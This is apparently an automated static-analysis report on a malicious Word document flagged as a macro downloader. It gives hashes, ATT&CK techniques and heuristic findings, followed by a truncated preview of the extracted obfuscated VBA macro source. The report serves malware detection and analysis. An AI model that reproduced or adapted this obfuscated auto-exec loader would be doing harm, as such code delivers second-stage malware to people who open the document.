Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7cf183fb50dd7e6…

MALICIOUS

Office (OLE)

254.0 KB Created: 2019-09-19 08:31:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 7d156c5d6b02121bea61cc2c25b6cb9d SHA-1: e22d9239fec8c44f51657232a6ee72e4a70d9144 SHA-256: f7cf183fb50dd7e683937f2d19b7fc9bf421e0e994fbe22a996b8da2f0821535
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Word document containing obfuscated VBA macros. The macros utilize CreateObject and Shell execution, indicating an intent to download and execute a second-stage payload. The ClamAV detection name further supports its classification as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7171058-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7171058-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24822 bytes
SHA-256: d4af12139862eb4a5f0275d6f31793c1e0a051dd2a5d352b3f22b4b58c54dcaa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "hwDWvFYW, 0, 0, MSForms, TextBox"
Attribute VB_Control = "MSn3vJ, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Gkc_p6, 2, 2, MSForms, TextBox"
Attribute VB_Control = "QYPNwD5i, 3, 3, MSForms, TextBox"
Attribute VB_Control = "tsQ4Z9Q, 4, 4, MSForms, TextBox"
Attribute VB_Control = "HkYXro, 5, 5, MSForms, TextBox"
Attribute VB_Control = "QEr9l3, 6, 6, MSForms, TextBox"
Attribute VB_Control = "KYKBuP, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Iw22FZ5, 8, 8, MSForms, TextBox"
Attribute VB_Control = "CBiMit0s, 9, 9, MSForms, TextBox"
Attribute VB_Control = "RPpzBTib, 10, 10, MSForms, TextBox"
Attribute VB_Control = "tI_nkn, 11, 11, MSForms, TextBox"
Attribute VB_Control = "TrLPLhCG, 12, 12, MSForms, TextBox"
Attribute VB_Control = "FLPBNZwN, 13, 13, MSForms, TextBox"
Attribute VB_Control = "XIAQdk, 14, 14, MSForms, TextBox"
Attribute VB_Control = "U6VG48, 15, 15, MSForms, TextBox"
Attribute VB_Control = "KiVdzd, 16, 16, MSForms, TextBox"
Attribute VB_Control = "QBwFXF5, 17, 17, MSForms, TextBox"
Attribute VB_Control = "bXi68f, 18, 18, MSForms, TextBox"
Attribute VB_Control = "jcHLQjk, 19, 19, MSForms, TextBox"

Attribute VB_Name = "fl8dRD9"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "GZFQv4HX"

Attribute VB_Name = "bPudIS"

Attribute VB_Name = "fCAwbFw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hFpjA3P"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rzBEjEi6"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ZdRAjZ3q"
Function z_aYCH()
      On Error Resume Next
         BWfZzUV = jI47FS6
         OaioATbq = Cos(WX4FAE + 479 - zTtml7 - ChrB(165 / Log(ChMsuO * JwwYWL0 + 4715 + Q59uD43)))
      If vDIqzmL7 Eqv 7 Then
         ZHRLbO6P = zwVmHRCf
      End If
         hV0vT5jf = 258308891 / Chr(981) * (Ka7EnY / Sin(8500))
      For Each tIYs3000 In enC
         bjInlwBG = dikrmQP + b4htZT * (95 - Sgn(1918) / (b4R_uOU9 / Sgn(BuNtML_8 * Atn(267070349))))
      Next
   azpzdPj = puUhAfOb + 340678033
   ijsFm5U = t_WDXuG + bQkk_V0(ThisDocument.XIAQdk + ThisDocument.KYKBuP) + Q0AB8kc
      On Error Resume Next
         fvuwShM = klSWzFb
         sbKAVV91 = Cos(Wb0wZv + 479 - CQ9D3lI - ChrB(165 / Log(o7m_VF * iLlZZw + 4715 + DSIt14)))
      If YYaAwkj Eqv 7 Then
         PL6pJGV9 = i5Npdjzw
      End If
         mN5UQj8q = 258308891 / Chr(981) * (AmtjGm / Sin(8500))
      For Each tIYs3000 In enC
         vMzwLDA = m9iBwQ + FRkYnJ * (95 - Sgn(1918) / (Qw0Krj20 / Sgn(GN0B2TzP * Atn(267070349))))
      Next
   bSPV3X_V = OCGz3P + 340678033
         On Error Resume Next
         wPmmd6S = B62ACr4
         fNaGInm = Cos(k90uU6 + 479 - Wa9ijDI - ChrB(165 / Log(ACqlNO * LdA4G_ + 4715 + flGjSk)))
      If ZQdb2F Eqv 7 Then
         X0njrt = MtGb1qVb
      End If
         vdCF3bG = 258308891 / Chr(981
... (truncated)